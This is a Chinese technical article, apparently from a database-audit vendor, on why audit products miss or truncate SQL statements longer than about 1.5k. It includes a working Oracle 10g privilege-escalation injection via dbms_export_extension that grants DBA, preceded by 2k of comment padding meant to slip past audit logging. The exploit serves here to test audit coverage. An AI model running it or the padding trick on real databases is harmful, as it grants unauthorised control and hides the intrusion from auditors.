大多数的sql语句都在1k以里长度,市面上的数据库审计产品大多都能准确记录下,也能实现正常的解析;但在sql语句超过1.5k时,很多的数据库审计产品就会发生漏审,或者只能审计下部分sql语句。
一般oracle一个通讯包的长度在2k,单一包内能够容纳的语句长度大约在1.4k多一点(大约为1460);超过这个大小的sql语句一般会拆分成多包;在oracle 11g下通常通讯包为2k,最大可以达到8k;对于oracle数据库没有明确说明可兼容的sql语句的长度,有的说32k或64k是个临界点,但笔者也曾作过尝试2m做的sql语句也能发送并被oracle正常解析。
对于一些数据库审计产品,由于没有将多个sql通讯包进行有效解析和关联,在发生长sql语句时会发生无法解析或解析不全的情况;具体表现是,对于长sql语句并未记录,或仅记录了前半部分。
这种情况的危害是,对于有些业务系统中自身就包含长sql语句,比如经分系统,报表系统,这些sql语句会被漏记;同时,一些黑客或攻击人员会利用这样的一些漏洞,进行数据库攻击而不留下痕迹。比如,若某个数据库审计产品,是基于单包解析机制进行的,则对于超过1.5k的sql语句无法记录或仅记录了前1.5k,则攻击者可以首先加入1.5k长的注释,然后再写语句,这样会发生漏审或被审计下来的信息无效。
以下是来自于某个真实应用的sql语句,达到1.9k;若是读者有相关的数据库审计产品,可以用toad或pl/sql这样的工具进行发送,观测下所拥有的产品是否能够审计下来,审计记录是否完全。
select spname,bm,sum(num) as heji,sum(case when fddm='002' then num else 0 end) as shipai,sum(case when fddm='063' then num else 0 end) as songbo,sum(case when fddm='005' then num else 0 end) as duobao,sum(case when fddm='006' then num else 0 end) as guangwei,sum(case when fddm='007' then num else 0 end) as jianshe,sum(case when fddm='008' then num else 0 end) as donghua,sum(case when fddm='039' then num else 0 end) as tongdong,sum(case when fddm='010' then num else 0 end) as jiebei,sum(case when fddm='011' then num else 0 end) as sanyuanli,sum(case when fddm='012' then num else 0 end) as nantai,sum(case when fddm='013' then num else 0 end) as huanshi,sum(case when fddm='014' then num else 0 end) as zhanqian,sum(case when fddm='015' then num else 0 end) as lujiang,sum(case when fddm='016' then num else 0 end) as dongchuan,sum(case when fddm='017' then num else 0 end) as taisha,sum(case when fddm='018' then num else 0 end) as huifuxi,sum(case when fddm='019' then num else 0 end) as zhujiang,sum(case when fddm='041' then num else 0 end) as donghu,sum(case when fddm='021' then num else 0 end) as wenming,sum(case when fddm='062' then num else 0 end) as huifu2,sum(case when fddm='042' then num else 0 end) as shiji,sum(case when fddm='043' then num else 0 end) as xincheng,sum(case when fddm='045' then num else 0 end) as gaoqiao,sum(case when fddm='046' then num else 0 end) as shixi,sum(case when fddm='047' then num else 0 end) as nanzhou,sum(case when fddm='048' then num else 0 end) as sanyuanlidadao,sum(case when fddm='050' then num else 0 end) as jingxi,sum(case when fddm='051' then num else 0 end) as chigang,sum(case when fddm='052' then num else 0 end) as panfu,sum(case when fddm='053' then num else 0 end) as jichangxi,sum(case when fddm='054' then num else 0 end) as shengdi,sum(case when fddm='055' then num else 0 end) as wendenan,sum(case when fddm='056' then num else 0 end) as ronghuanan from sale3 where khname in ('$khbmem') group by bm;
以下是另一个模拟的攻击性的sql语句,这个语句在oracle 10g上运行,将把一个普通的数据库用户提权到dba;但我们在对这个语句发送前,在前面用2k的注释进行掩护,请笔者观测下所拥有的产品能否将这个语句审计下来,审计结果是否完善。
/*************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
*************************************************************************/
select
sys.dbms_export_extension.get_domain_index_tables('foo','bar',
'dbms_output".put(:p1);execute immediate ''declare pragma autonomous_transaction;begin execute immediate '''' grant dba to normaluser'''';end;'';end;--','sys‘,0,'1',0) from dual;
在实验时,请读者别忘了将normaluser改为实际的用户名,则运行通过后将实现提权。
sql server的通讯包一般在4k,超过 4088个字符的sql语句将被拆分;sql server支持的连续sql通讯可达到256m,而对于sql语句的长度没有明确限制(据网上的测试数据,应该超过228k)。
mysql的通讯包默认在1m,在单个包的内的语句可以被执行,mysql不支持将sql语句拆分到多个包中。
读者可以自行构造一些针对sql server、mysql的sql语句进行尝试,看我们所拥有的数据库审计产品是否能进行准确的审计记录。要注意的是,类似于toad、pl/sql这样的客户端工具通常都有sql语句的长度限制,但这往往不是数据库的sql长度限制。
传统的基于网络审计发展而来的数据库审计产品一般都没有实现跨包的sql语句拼接,这些产品在测试或一般性的应用环境都不易暴漏出问题,但对于一些复杂的经营分析系统,基于自动sql语句拼接编程的oa系统等,将会发生漏审的状况。通常在发生漏审时,用户大多得到的解释都是归结于网络流量镜像的不稳定,可能造成了通讯包丢失。
从数据库审计产品开发的角度,不可能对sql语句的长度不限长地记录,关键是要看相关产品指标是否满足所应用的业务环境需求,以及能否有效过滤掉攻击性语句的掩护性字符。
试用申请